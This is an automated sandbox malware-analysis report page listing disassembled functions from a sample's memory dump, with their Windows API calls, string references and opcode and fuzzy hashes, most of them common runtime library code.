Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: b5b88b61e1075f514a7686f82aae800ddaa99ec07c9fdebfe6f3f66811a80460
Instruction ID: d7d7186d97b9a780a15fd4bd8fb880621c577df48072d91c399e24ae4fefac1b
Opcode Fuzzy Hash: b5b88b61e1075f514a7686f82aae800ddaa99ec07c9fdebfe6f3f66811a80460
Instruction Fuzzy Hash: 9101F9B766C27B2BDB15DEB8F9156A8BB10EF86334F2441AFD011C8CC2DA175471D612

Function 0023A8D1 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,0023C8AA,?,?,0023C8AA,00000220,?,00000000,?), ref: 0023A903

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 19e4f05f7e909e649e72a1a7f853efc9c06a19127acdb8cdbbf5c74bc5666548
Instruction ID: dc056c13b56bb711c41306ce88a8377e107c346860eb2d2427585fdf6d22706e
Opcode Fuzzy Hash: 19e4f05f7e909e649e72a1a7f853efc9c06a19127acdb8cdbbf5c74bc5666548
Instruction Fuzzy Hash: 5FE0E5B113032666D7206F61AC09B5B7A589F427F0F124031EC85B7090EE60CD7186A2

Non-executed Functions

Function 0023FBD2 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0023AB23: GetLastError.KERNEL32(?,?,00233FBA,00254C30,0000000C), ref: 0023AB27
Part of subcall function 0023AB23: SetLastError.KERNEL32(00000000), ref: 0023ABC9

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 0023FCDA
IsValidCodePage.KERNEL32(00000000), ref: 0023FD18
IsValidLocale.KERNEL32(?,00000001), ref: 0023FD2B
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0023FD73
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0023FD8E

Strings

l#%, xrefs: 0023FC87

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: l#%
API String ID: 415426439-1260472432
Opcode ID: b9409c8954d07699b4f2d8d02bbce888bd570f13008256a262bd9fe8caba0fa8
Instruction ID: d1aba0faf34b52430b2da69562b5266d8ca43c1e2bd3da071beeab26615abcac
Opcode Fuzzy Hash: b9409c8954d07699b4f2d8d02bbce888bd570f13008256a262bd9fe8caba0fa8
Instruction Fuzzy Hash: 66517FB2E2020AAFDF51DFA5ED45ABAB7B8FF04701F04447AE901E7191E7709D608B61

Function 00240337 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,0023FD08,00000002,00000000,?,?,?,0023FD08,?,00000000), ref: 002403D0
GetLocaleInfoW.KERNEL32(?,20001004,0023FD08,00000002,00000000,?,?,?,0023FD08,?,00000000), ref: 002403F9
GetACP.KERNEL32(?,?,0023FD08,?,00000000), ref: 0024040E

Strings

OCP, xrefs: 0024038B
ACP, xrefs: 00240355

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 4711fbdecce08e71b696ca5f893d6d3b8123cacb02c6868fd96eff5f13a18153
Instruction ID: 3607185362b69787539f3fcae801306e22a4790441d240fe2431702df1dd7bd6
Opcode Fuzzy Hash: 4711fbdecce08e71b696ca5f893d6d3b8123cacb02c6868fd96eff5f13a18153
Instruction Fuzzy Hash: 5A21CB32A30202A7D73DCF24D885A9B7FA6AF54B54B5680B4EB0AD7111E732DED1C390

Function 00238900 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c833190d3595b4907967d4d4129b7b381ff8ffd123d7f024cd91791e4d9d99b7
Instruction ID: d9bc898946f9306035358f56dbc86089230a692f1bc291e899106b41a16c2939
Opcode Fuzzy Hash: c833190d3595b4907967d4d4129b7b381ff8ffd123d7f024cd91791e4d9d99b7
Instruction Fuzzy Hash: 7D023DB1E1121A9FDF14CFA8D8806ADF7F5FF48314F24826AE515EB380DB31A9518B90

Function 00240919 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00240A09

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 05901a4bada57251cd8f3ab7eb27ab5d2913d8ecf53904341f8d9900cd13a3ba
Instruction ID: f5d83bbc420a9728384a5b52309c370292087bf9e9632e02ab9214bb21036c68
Opcode Fuzzy Hash: 05901a4bada57251cd8f3ab7eb27ab5d2913d8ecf53904341f8d9900cd13a3ba
Instruction Fuzzy Hash: 4771D3719152699FDF29EF24CCCDAAEBBB8EB45304F1441D9E249A3211DA304ED58F14

Function 0022D86F Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0022D87B
IsDebuggerPresent.KERNEL32 ref: 0022D947
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0022D960
UnhandledExceptionFilter.KERNEL32(?), ref: 0022D96A

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 17441f0f4182c9501f9ea5754de5c91f3b4729addcd9c729e4828a36eacc39da
Instruction ID: 87318b0b3a2002fb6552fe8fae9d92df701c15a6ed94edbb7873bcfc33b0b26a
Opcode Fuzzy Hash: 17441f0f4182c9501f9ea5754de5c91f3b4729addcd9c729e4828a36eacc39da
Instruction Fuzzy Hash: 5A310C75D153299BDF21DFA4E8497CDBBB4AF08700F1041AAE40CA7250E7709B85CF45

Function 0023FEBE Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0023AB23: GetLastError.KERNEL32(?,?,00233FBA,00254C30,0000000C), ref: 0023AB27
Part of subcall function 0023AB23: SetLastError.KERNEL32(00000000), ref: 0023ABC9

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0023FF12
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0023FF5C
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00240022

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: a756017dc5e6fdb8e1a689e7639aca76488efd7772e5d8ef4f0154f77dcbd4ef
Instruction ID: b02987819aa6e3377a77cc3e7d843ca67698b41c2780a2ce4e22c0bb5840cbb2
Opcode Fuzzy Hash: a756017dc5e6fdb8e1a689e7639aca76488efd7772e5d8ef4f0154f77dcbd4ef
Instruction Fuzzy Hash: 0F61AF719302079FDB689F28DD82BBA77A8EF04300F148179EE05D6685EB74D9A1DF50

Function 0023695D Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00236A55
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00236A5F
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 00236A6C

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 8b6ff22aa6e2093a0971a0cfc33d460dbabd02200541fd8cdf4a1257224c7824
Instruction ID: 6c868da033bee31f99b3d4ef6f869d21fe6034c436822120f7ab78286b26afc7
Opcode Fuzzy Hash: 8b6ff22aa6e2093a0971a0cfc33d460dbabd02200541fd8cdf4a1257224c7824
Instruction Fuzzy Hash: 6231E5B4911329ABCB21DF68DC8978CBBB8BF08750F5081EAE40CA7250E7309F958F44

Function 00240868 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0023BC50: HeapAlloc.KERNEL32(00000008,?,?,?,0023AB70,00000001,00000364,?,00000005,000000FF,?,00233FBA,00254C30,0000000C), ref: 0023BC91

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00240A09
FindNextFileW.KERNEL32(00000000,?), ref: 00240AFD
FindClose.KERNEL32(00000000), ref: 00240B3C
FindClose.KERNEL32(00000000), ref: 00240B6F

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: 6f9decdf66dc9b4df15599601926adf2ecd5b01e926b53e5a9470be8c111bb86
Instruction ID: 32a5867ef8eedb64dc2616b3d50d7772ff60771a4ad8479629ae0135fe461fca
Opcode Fuzzy Hash: 6f9decdf66dc9b4df15599601926adf2ecd5b01e926b53e5a9470be8c111bb86
Instruction Fuzzy Hash: 8051797192021DAFEF18AF389CC5ABE77B9DF85704F1441ADF55893202EA308DA18F60

Function 00240170 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0023AB23: GetLastError.KERNEL32(?,?,00233FBA,00254C30,0000000C), ref: 0023AB27
Part of subcall function 0023AB23: SetLastError.KERNEL32(00000000), ref: 0023ABC9

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 002401C4

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 914d03f27b1cefc370cb0f7aab1d088bf29018f6e2cf6c081d0efc67ca911899
Instruction ID: acdce7f1850c19d0f8b94c8ef48d2ed1b88dbc5cef083b9871fa533e09188114
Opcode Fuzzy Hash: 914d03f27b1cefc370cb0f7aab1d088bf29018f6e2cf6c081d0efc67ca911899
Instruction Fuzzy Hash: FF215672635207ABDB2CDF65EC85A7A73A8EF48314F10407AFE05DA581E7B4ED908A50

Function 00240290 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 0023AB23: GetLastError.KERNEL32(?,?,00233FBA,00254C30,0000000C), ref: 0023AB27
Part of subcall function 0023AB23: SetLastError.KERNEL32(00000000), ref: 0023ABC9

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 002402E4

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 51f510c6c598b125be2c0579f6d5f58360c9c0d5c2d9533ebc252d17110a238e
Instruction ID: 7c9fa5e335caa2b21aa5ae2756e71346b345461365dace5e627b96557a0157cc
Opcode Fuzzy Hash: 51f510c6c598b125be2c0579f6d5f58360c9c0d5c2d9533ebc252d17110a238e
Instruction Fuzzy Hash: C711C67293020BABD719EF28EC869BA77ACEF04314B10417AFA01DB241EB74ED508B50

Function 0023FE23 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0023AB23: GetLastError.KERNEL32(?,?,00233FBA,00254C30,0000000C), ref: 0023AB27
Part of subcall function 0023AB23: SetLastError.KERNEL32(00000000), ref: 0023ABC9

EnumSystemLocalesW.KERNEL32(0023FEBE,00000001,00000000,?,-00000050,?,0023FCAE,00000000,-00000002,00000000,?,00000055,?), ref: 0023FE95

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 64c27688c3e23bc4652d13ad82028eb62a776a001b5dc8091d59f5ca5349dab4
Instruction ID: ba2fb6be95d1cb7c59f7a09beb7a6fb29e29b4cb14103adeefd3f9751798d37a
Opcode Fuzzy Hash: 64c27688c3e23bc4652d13ad82028eb62a776a001b5dc8091d59f5ca5349dab4
Instruction Fuzzy Hash: 65114C776143055FDB289F39D8A16BAB792FF80358F14443DE54687741D371B952CB40

Function 0024043D Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0023AB23: GetLastError.KERNEL32(?,?,00233FBA,00254C30,0000000C), ref: 0023AB27
Part of subcall function 0023AB23: SetLastError.KERNEL32(00000000), ref: 0023ABC9

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,002400DA,00000000,00000000,?), ref: 00240469

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: a41054ec0ceb63d68de7c0b57fd0e758b1ece40d23570fcdbc1588be0d1dbd2b
Instruction ID: b5a187640eed48fb3b60a010d698128e427b1d017ed9ed246eed9edbbee27ffd
Opcode Fuzzy Hash: a41054ec0ceb63d68de7c0b57fd0e758b1ece40d23570fcdbc1588be0d1dbd2b
Instruction Fuzzy Hash: BF01DB36630112ABDB2C5B668C45BBA7764EB80364F154429EF42A3180DA70EE91DD90

Function 00240111 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0023AB23: GetLastError.KERNEL32(?,?,00233FBA,00254C30,0000000C), ref: 0023AB27
Part of subcall function 0023AB23: SetLastError.KERNEL32(00000000), ref: 0023ABC9

EnumSystemLocalesW.KERNEL32(00240170,00000001,?,?,-00000050,?,0023FC76,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 0024015B

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 0eb4cc7e6185be288655b73e746504bcc000813c6c93c82447b2c3de8c31fb1b
Instruction ID: 300e9e29af786889d5a649845573fb5aa720944b21a12222f86667d9163917b6
Opcode Fuzzy Hash: 0eb4cc7e6185be288655b73e746504bcc000813c6c93c82447b2c3de8c31fb1b
Instruction Fuzzy Hash: 44F0F6363107056FDB295F759CC1A7B7B91FF80768F05442DFA494B690C6B1AC92CA50

Function 0023BB60 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00236BF4: EnterCriticalSection.KERNEL32(?,?,0023AFB0,?,002550C0,00000008,0023AEA2,?,?,?), ref: 00236C03

EnumSystemLocalesW.KERNEL32(0023BB53,00000001,00255140,0000000C,0023B4B8,-00000050), ref: 0023BB98

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: ffb13d901bfc9493a30a4839dc9011a419e083cb381682f7dafae746bb66ea30
Instruction ID: b8dfe675581e6a07a15a1e78337d7c7e74a89015758fc571fdcf570b7e9229ef
Opcode Fuzzy Hash: ffb13d901bfc9493a30a4839dc9011a419e083cb381682f7dafae746bb66ea30
Instruction Fuzzy Hash: 8CF04F72A10304EFD701DFA8E806B9D77F1EB08726F10801AF810DB2A1CBB559158F54

Function 00240245 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0023AB23: GetLastError.KERNEL32(?,?,00233FBA,00254C30,0000000C), ref: 0023AB27
Part of subcall function 0023AB23: SetLastError.KERNEL32(00000000), ref: 0023ABC9

EnumSystemLocalesW.KERNEL32(00240290,00000001,?,?,?,0023FCD0,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 0024027C

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: c70e6f87bbd5d67e7517055f0b5102711cc69c42f053048f69305a55bd0ebaba
Instruction ID: 3a663c11e79fd82cf77b70b6a844cccf0e4cc9767e5f2a9ea59201ac022eda58
